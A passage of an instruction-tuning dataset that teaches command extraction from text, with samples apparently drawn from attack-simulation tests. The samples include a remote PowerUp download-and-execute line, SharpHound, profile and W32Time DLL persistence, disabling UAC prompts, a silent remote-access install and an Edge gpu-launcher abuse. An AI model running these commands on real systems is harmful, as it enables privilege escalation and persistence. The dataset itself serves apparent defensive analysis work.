-OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can detect virtual machine host kernel modules by executing this command: kldstat | grep -i \"vmm\"\nkldstat | grep -i \"vbox\"",
    "output": "{\"command_list\": [\"kldstat | grep -i \\\"vmm\\\"\\nkldstat | grep -i \\\"vbox\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To append a start process cmdlet to the current user's PowerShell profile, which will launch calc.exe upon execution, use the following command:\nAdd-Content #{ps_profile} -Value \"\"\nAdd-Content #{ps_profile} -Value \"Start-Process #{exe_path}\"\npowershell -Command exit\n",
    "output": "{\"command_list\": [\"Add-Content #{ps_profile} -Value \\\"\\\"\\nAdd-Content #{ps_profile} -Value \\\"Start-Process #{exe_path}\\\"\\npowershell -Command exit\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To quietly install ScreenConnect after downloading it to the user's Downloads directory, execute this command: $installer = \"C:\\Users\\$env:username\\Downloads\\ScreenConnect.msi\"\nInvoke-WebRequest -OutFile $installer \"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\"\nmsiexec /i $installer /qn\n",
    "output": "{\"command_list\": [\"$installer = \\\"C:\\\\Users\\\\$env:username\\\\Downloads\\\\ScreenConnect.msi\\\"\\nInvoke-WebRequest -OutFile $installer \\\"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\\\"\\nmsiexec /i $installer /qn\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To load a kernel module in Linux, use the following command: sudo insmod #{module_path}",
    "output": "{\"command_list\": [\"sudo insmod #{module_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish persistence, first stop the w32time service and copy the DLL to the Public folder, then modify the NtpServer registry key with the following commands:\nnet stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time",
    "output": "{\"command_list\": [\"net stop w32time\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.003\\\\bin\\\\AtomicTest.dll\\\" C:\\\\Users\\\\Public\\\\AtomicTest.dll\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_SZ /v \\\"DllName\\\" /d \\\"C:\\\\Users\\\\Public\\\\AtomicTest.dll\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_DWORD /v \\\"Enabled\\\" /d \\\"1\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\NtpServer\\\" /t REG_DWORD /v \\\"InputProvider\\\" /d \\\"1\\\" /f\\nnet start w32time\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you need to prevent UAC prompts for privileged actions performed by administrators, apply this registry setting with the command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a process under a trusted Microsoft signed binary (msedge.exe), which will spawn 'calc.exe' as a child process, use the following command:\n$edgePath64 = \"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe\"\nif (Test-Path $edgePath64) {\n    $edgePath = $edgePath64\n} else {\n    # Check 32-bit Edge installation path\n    $edgePath32 = \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\n    if (Test-Path $edgePath32) {\n        $edgePath = $edgePath32\n    } else {\n        exit 1\n    }\n}\n& $edgePath --disable-gpu-sandbox --gpu-launcher=\"C:\\\\Windows\\\\System32\\\\calc.exe &&\"\nsleep 5\ntaskkill -f -im msedge.exe\ntaskkill -f -im calc.exe\ntaskkill -f -im win32calc.exe",
    "output": "{\"command_list\": [\"$edgePath64 = \\\"C:\\\\Program Files\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\\\"\\nif (Test-Path $edgePath64) {\\n    $edgePath = $edgePath64\\n} else {\\n    # Check 32-bit Edge installation path\\n    $edgePath32 = \\\"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\\\"\\n    if (Test-Path $edgePath32) {\\n        $edgePath = $edgePath32\\n    } else {\\n        exit 1\\n    }\\n}\\n& $edgePath --disable-gpu-sandbox --gpu-launcher=\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\calc.exe &&\\\"\\nsleep 5\\ntaskkill -f -im msedge.exe\\ntaskkill -f -im calc.exe\\ntaskkill -f -im win32calc.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 